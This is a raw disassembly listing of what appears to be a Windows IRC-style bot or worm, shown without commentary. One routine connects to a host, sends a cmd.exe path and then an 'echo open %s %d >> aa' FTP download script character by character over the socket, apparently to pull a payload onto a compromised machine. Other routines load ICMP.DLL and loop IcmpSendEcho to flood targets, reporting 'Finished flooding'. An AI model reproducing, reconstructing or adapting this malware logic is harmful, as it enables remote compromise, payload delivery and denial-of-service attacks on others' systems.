		mov	dl, ds:byte_43F532
		mov	[esp+1Eh], al
		mov	ax, ds:word_43BD60
		push	esi
		push	1
		push	2
		mov	[esp+24h], cx
		mov	[esp+26h], dl
		mov	[esp+22h], ax
		call	ds:dword_4B3CAC
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_425C7A
		push	eax
		call	ds:dword_4B3CA8


loc_425C7A:				; CODE XREF: _294ADE7B:00425C71j
		lea	ecx, [esp+98h]
		mov	word ptr [esp+40h], 2
		push	ecx
		call	ds:dword_4B3CBC
		mov	edx, [esp+132h]
		mov	[esp+44h], eax
		push	edx
		call	ds:dword_4B3CB0
		mov	[esp+42h], ax
		lea	eax, [esp+40h]
		push	10h
		push	eax
		push	ebp
		call	ds:dword_4B3CB4
		test	eax, eax
		jz	short loc_425CCC
		push	ebp
		call	ds:dword_4B3CA8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 80h
		retn
; ---------------------------------------------------------------------------


loc_425CCC:				; CODE XREF: _294ADE7B:00425CB6j
		mov	ebx, ds:dword_4B3C9C


loc_425CD2:				; CODE XREF: _294ADE7B:00425D19j
					; _294ADE7B:00425D6Fj ...
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+50h]
		push	eax
		rep stosd
		lea	ecx, [esp+54h]
		push	40h
		push	ecx
		push	ebp
		call	ds:dword_4B3C6C
		test	eax, eax
		jle	loc_425E12
		cmp	eax, 0FFFFFFFFh
		jz	loc_425E12
		mov	eax, esi
		sub	eax, 0
		jz	short loc_425D74
		dec	eax
		jz	short loc_425D1B
		dec	eax
		jz	loc_425DC9
		cmp	esi, 3
		jz	loc_425E12
		jmp	short loc_425CD2
; ---------------------------------------------------------------------------


loc_425D1B:				; CODE XREF: _294ADE7B:00425D07j
		lea	esi, [esp+20h]
		lea	eax, [esp+50h]


loc_425D23:				; CODE XREF: _294ADE7B:00425D41j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_425D47
		test	cl, cl
		jz	short loc_425D43
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_425D47
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_425D23


loc_425D43:				; CODE XREF: _294ADE7B:00425D2Dj
		xor	eax, eax
		jmp	short loc_425D4C
; ---------------------------------------------------------------------------


loc_425D47:				; CODE XREF: _294ADE7B:00425D29j
					; _294ADE7B:00425D37j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_425D4C:				; CODE XREF: _294ADE7B:00425D45j
		test	eax, eax
		jnz	loc_425DFE
		lea	edi, [esp+12h]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		push	eax
		dec	ecx
		lea	eax, [esp+16h]
		push	ecx
		push	eax
		push	ebp
		call	ebx
		mov	esi, 2
		jmp	loc_425CD2
; ---------------------------------------------------------------------------


loc_425D74:				; CODE XREF: _294ADE7B:00425D04j
		lea	esi, [esp+30h]
		lea	eax, [esp+50h]


loc_425D7C:				; CODE XREF: _294ADE7B:00425D9Aj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_425DA0
		test	cl, cl
		jz	short loc_425D9C
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_425DA0
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_425D7C


loc_425D9C:				; CODE XREF: _294ADE7B:00425D86j
		xor	eax, eax
		jmp	short loc_425DA5
; ---------------------------------------------------------------------------


loc_425DA0:				; CODE XREF: _294ADE7B:00425D82j
					; _294ADE7B:00425D90j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_425DA5:				; CODE XREF: _294ADE7B:00425D9Ej
		test	eax, eax
		jnz	short loc_425DFE
		lea	edi, [esp+30h]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		push	eax
		dec	ecx
		lea	eax, [esp+34h]
		push	ecx
		push	eax
		push	ebp
		call	ebx
		mov	esi, 1
		jmp	loc_425CD2
; ---------------------------------------------------------------------------


loc_425DC9:				; CODE XREF: _294ADE7B:00425D0Aj
		lea	esi, [esp+28h]
		lea	eax, [esp+50h]


loc_425DD1:				; CODE XREF: _294ADE7B:00425DEFj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_425DF5
		test	cl, cl
		jz	short loc_425DF1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_425DF5
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_425DD1


loc_425DF1:				; CODE XREF: _294ADE7B:00425DDBj
		xor	eax, eax
		jmp	short loc_425DFA
; ---------------------------------------------------------------------------


loc_425DF5:				; CODE XREF: _294ADE7B:00425DD7j
					; _294ADE7B:00425DE5j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_425DFA:				; CODE XREF: _294ADE7B:00425DF3j
		test	eax, eax
		jz	short loc_425E12


loc_425DFE:				; CODE XREF: _294ADE7B:00425D4Ej
					; _294ADE7B:00425DA7j
		push	ebp
		call	ds:dword_4B3CA8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 80h
		retn
; ---------------------------------------------------------------------------


loc_425E12:				; CODE XREF: _294ADE7B:00425CF0j
					; _294ADE7B:00425CF9j ...
		push	0
		lea	eax, [esp+18h]
		push	1
		push	eax
		push	ebp
		call	ebx
		lea	ecx, [esp+1Ch]
		push	1
		push	ecx
		push	ebp
		call	sub_401E33
		mov	ebx, ds:dword_4B38CC
		add	esp, 0Ch
		push	3E8h
		call	ebx
		lea	edx, [esp+16h]
		push	0
		push	edx
		push	ebp
		call	sub_401E33
		add	esp, 0Ch
		push	3E8h
		call	ebx
		lea	eax, [esp+1Ch]
		push	2
		push	eax
		push	ebp
		call	sub_401E33
		add	esp, 0Ch
		push	3E8h
		call	ebx
		mov	edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		xor	esi, esi
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_425EBE


loc_425E7C:				; CODE XREF: _294ADE7B:00425EBCj
		movsx	ecx, byte ptr ds:aSystemrootSyst[esi] ;	"%systemroot%\\system32\\cmd.exe"
		push	ecx
		push	offset aC	; "%c"
		lea	edx, [esp+2Ch]
		push	3
		push	edx
		call	ds:dword_4B3AA8
		lea	eax, [esp+34h]
		push	0
		push	eax
		push	ebp
		call	sub_401E33
		add	esp, 1Ch
		push	7Dh
		call	ebx
		mov	edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	esi
		repne scasb
		not	ecx
		dec	ecx
		cmp	esi, ecx
		jb	short loc_425E7C


loc_425EBE:				; CODE XREF: _294ADE7B:00425E7Aj
		lea	ecx, [esp+18h]
		push	0
		push	ecx
		push	ebp
		call	sub_401E33
		add	esp, 0Ch
		push	7D0h
		call	ebx
		mov	ecx, 40h
		xor	eax, eax
		mov	edi, offset byte_4B230C
		rep stosd
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		mov	edx, ds:dword_4404E7
		push	eax
		mov	eax, [esp+9Ch]
		push	edx
		push	eax
		call	sub_401CC1
		add	esp, 4
		push	eax
		push	offset aEchoOpenSDAaEc ; "echo open %s %d >> aa	&echo user a a >>"...
		push	0FFh
		push	offset byte_4B230C


loc_425F20:				; DATA XREF: sub_404890+BFCo
		call	ds:dword_4B3AA8
		mov	edi, offset byte_4B230C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		xor	esi, esi
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_425F7E


loc_425F3C:				; CODE XREF: _294ADE7B:00425F7Cj
		movsx	ecx, ds:byte_4B230C[esi]
		push	ecx
		push	offset aC	; "%c"
		lea	edx, [esp+2Ch]
		push	3
		push	edx
		call	ds:dword_4B3AA8
		lea	eax, [esp+34h]
		push	0
		push	eax
		push	ebp
		call	sub_401E33
		add	esp, 1Ch
		push	7Dh
		call	ebx
		mov	edi, offset byte_4B230C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	esi
		repne scasb
		not	ecx
		dec	ecx
		cmp	esi, ecx
		jb	short loc_425F3C


loc_425F7E:				; CODE XREF: _294ADE7B:00425F3Aj
		push	3E8h
		call	ebx
		lea	ecx, [esp+18h]
		push	0
		push	ecx
		push	ebp
		call	sub_401E33
		add	esp, 0Ch
		mov	esi, 2


loc_425F9A:				; CODE XREF: _294ADE7B:00425FB2j
		push	258h
		call	ebx
		lea	edx, [esp+18h]
		push	0
		push	edx
		push	ebp
		call	sub_401E33
		add	esp, 0Ch
		dec	esi
		jnz	short loc_425F9A
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+150h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401131
		add	esp, 0BCh
		push	3E8h
		call	ebx
		push	ebp
		call	ds:dword_4B3CA8
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 80h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426110	proc near		; CODE XREF: sub_40158Cj

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426110
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+64h+var_3C]
		push	4
		push	edx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+64h+var_3C]
		push	4
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 2
		call	sub_401726
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 3
		call	sub_401726
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+6Ch+var_24]
		push	4
		push	edx
		call	sub_4018DE
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 4
		call	sub_401726
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_426110	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426360:				; CODE XREF: _294ADE7B:loc_401A78j
		push	0FFFFFFFFh
		push	offset loc_434E56
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8Eh]
		mov	[esp+54h], edi
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		mov	ebx, ds:dword_4B3AEC
		test	eax, eax
		jnz	loc_4264FB
		push	95h
		call	sub_43034A
		add	esp, 4
		mov	[esp+10h], eax
		xor	edi, edi
		cmp	eax, edi
		mov	[esp+4Ch], edi
		jz	short loc_4263CE
		mov	ecx, eax
		call	sub_401ACD
		mov	edi, eax


loc_4263CE:				; CODE XREF: _294ADE7B:004263C3j
		push	offset dword_43B600
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[edi+91h], ebp
		call	sub_401622
		push	eax
		lea	ecx, [edi+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401E65
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[edi+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[edi+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[edi+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401E65
		mov	dl, [esi+93h]
		mov	ecx, edi
		mov	[edi+8Fh], dl
		mov	al, [esi+94h]
		mov	[edi+90h], al
		call	sub_40137F
		mov	edi, [esp+54h]


loc_4264FB:				; CODE XREF: _294ADE7B:004263A4j
		lea	ecx, [ebp+4]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_42666A
		push	95h
		call	sub_43034A
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42653B
		mov	ecx, eax
		call	sub_4012CB
		mov	edi, eax
		jmp	short loc_42653D
; ---------------------------------------------------------------------------


loc_42653B:				; CODE XREF: _294ADE7B:0042652Ej
		xor	edi, edi


loc_42653D:				; CODE XREF: _294ADE7B:00426539j
		push	offset dword_43B600
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebp+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[edi+91h], ebp
		call	sub_401622
		push	eax
		lea	ecx, [edi+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401E65
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[edi+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[edi+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		push	offset dword_43B600
		lea	ecx, [esp+30h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[edi+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_4011F9
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401E65
		mov	al, [esi+93h]
		mov	[edi+8Fh], al
		mov	cl, [esi+94h]
		mov	[edi+90h], cl
		mov	ecx, edi
		call	sub_40137F
		mov	edi, [esp+54h]


loc_42666A:				; CODE XREF: _294ADE7B:0042650Dj
		lea	ecx, [ebp+0EAh]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_426687
		mov	[ebp+11Ch], al


loc_426687:				; CODE XREF: _294ADE7B:0042667Fj
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp


loc_42668E:				; DATA XREF: sub_404890+1004o
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426770	proc near		; CODE XREF: sub_401983j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, ds:dword_44089C
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_426791
		inc	ecx
		mov	[eax+118h], ecx


loc_426791:				; CODE XREF: sub_426770+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4992AB
		call	sub_4011E5
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_426770	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267F0	proc near		; CODE XREF: sub_4012CBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4267F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E2E
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_4370BC
		call	sub_401564
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4267F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426860	proc near		; CODE XREF: sub_4011D6j
					; _294ADE7B:00401F0Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401F19
		test	[esp+4+arg_0], 1
		jz	short loc_426878
		push	esi
		call	sub_430332
		add	esp, 4


loc_426878:				; CODE XREF: sub_426860+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426860	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426890	proc near		; CODE XREF: sub_401F19j
		jmp	sub_40146A
sub_426890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4268B0	proc near		; CODE XREF: sub_40195Bj

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4268B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_401479
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_4013CF
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_401479
		push	eax
		call	sub_401776
		add	esp, 10h
		test	eax, eax
		jz	short loc_426974
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42698E
; ---------------------------------------------------------------------------


loc_426974:				; CODE XREF: sub_4268B0+9Aj
		mov	ecx, ebx
		call	sub_401726
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42698E:				; CODE XREF: sub_4268B0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_401479
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4268B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A30	proc near		; CODE XREF: sub_401D48j

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_430390
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	ds:dword_4B38A4
		mov	esi, eax
		test	esi, esi
		jz	short loc_426A9A
		mov	edi, ds:dword_4B38A8
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	ds:dword_4B244C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	ds:dword_4B2450, eax
		call	edi
		mov	ecx, ds:dword_4B244C
		mov	ds:dword_4B2448, eax
		test	ecx, ecx
		jz	short loc_426A9A
		mov	edx, ds:dword_4B2450
		test	edx, edx
		jz	short loc_426A9A
		test	eax, eax
		jz	short loc_426A9A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426AA5


loc_426A9A:				; CODE XREF: sub_426A30+1Bj
					; sub_426A30+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426AA5:				; CODE XREF: sub_426A30+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_426ABC
		mov	[esp+24h+arg_FFE8], eax


loc_426ABC:				; CODE XREF: sub_426A30+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_426ACF
		mov	ebp, 1


loc_426ACF:				; CODE XREF: sub_426A30+98j
		call	ecx
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426B14


loc_426AE0:				; CODE XREF: sub_426A30+E2j
		mov	al, ds:byte_488B6A
		test	al, al
		jz	short loc_426B14
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	ds:dword_4B2448
		inc	esi
		cmp	esi, ebx
		jl	short loc_426AE0


loc_426B14:				; CODE XREF: sub_426A30+AEj
					; sub_426A30+B7j
		push	edi
		call	ds:dword_4B2450
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426A30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B70	proc near		; CODE XREF: sub_401776j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4017C1
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401D48
		add	esp, 14h
		retn
sub_426B70	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BB0	proc near		; CODE XREF: sub_401E2Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426BB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401D2F
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4013CF
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4013CF
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_4370CC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426BB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426C50	proc near		; CODE XREF: sub_40146Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_4370CC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401EC9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
